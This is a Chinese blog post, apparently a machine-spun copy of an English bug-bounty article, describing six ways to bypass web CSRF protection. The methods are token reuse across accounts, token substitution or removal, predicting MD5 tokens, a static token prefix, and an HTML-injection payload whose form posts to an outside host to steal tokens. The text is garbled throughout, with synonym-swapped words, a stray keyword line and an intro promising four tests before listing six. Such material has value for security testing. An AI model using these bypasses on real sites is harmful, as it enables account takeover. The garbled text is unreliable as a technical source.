你们都知道CSRF是什么,如果不知道的话,您就不会涌如今我的博客上。
本日,在本文中,我将阐明对测试网站的CSRF保护的四个大略测试,这些测试可能会导致CSRF绕过,这反过来可以为您赢利。

Cross site request forgery

1. 在帐户之间利用CSRF令牌

最大略和最致命的CSRF绕过是当运用程序不验证CSRF令牌是否绑定到特定帐户而仅验证算法时。
为了验证这一点

phpmd5绕过6种办法绕过CSRF掩护 Ruby

从帐户A登录到运用程序转到其密码变动页面利用burp代理捕获CSRF令牌注销账户A,然后登录B账户转到密码变动页面并拦截该要求利用A的csrf token 代替 账户B的2. 更换相同长度的值

另一种技能是,您可以找到该令牌的长度,例如,它是在您将同一变量更换为其他32个字符值的变量authenticity_token下包含32个字符的字母数字令牌

例如,令牌为ud019eh10923213213123,您将其更换为具有相同值的令牌。
(相同长度)

3. 从要求中完备删除CSRF token

此技能常日适用于帐户删除功能,在这些功能中根本不验证令牌,这使攻击者可以通过CSRF删除任何用户的帐户。
但是我创造它也可以在其他功能上事情。
很大略,您用burpsuite拦截了要求,并从全体令牌中删除了令牌,我测试过的运用程序中有40%被创造随意马虎受到此技能的攻击

4. 解码CSRF令牌

绕过CSRF的另一种方法是识别CSRF令牌的算法。
根据我的履历,CSRF令牌是MD5或Base64编码的值。
您可以解码该值并对该算法中的下一个值进行编码,然后利用该令牌。
例如,"a0a080f42e6f13b3a2df133f073095dd"是MD5(122)。
您可以类似地将下一个值MD5(123)作为CSRF令牌已达到绕过的目的。

5. 通过HTML注入提取令牌

此技能利用HTML注入漏洞,攻击者可以利用该漏洞植入记录器,以从该网页提取CSRF令牌并利用该令牌。
攻击者可以植入链接,例如:

<form action=”http://shahmeeramir.com/acquire_token.php”></textarea>6. 仅利用令牌的静态部分

常常不雅观察到CSRF令牌由两部分组成。
静态部分和动态部分。
考虑两个CSRF令牌shahmeer742498h989889和shahmeer7424ashda099s。
shahmeer7424作为静态部分当作令牌利用。

还有许多其他方法可以绕过CSRF保护,但是我在探求bug的过程中大多碰着这些情形。

References

[1] 6 Methods to bypass CSRF protection on a web application: https://shahmeeramir.com/methods-to-bypass-csrf-protection-on-a-web-application-3198093f6599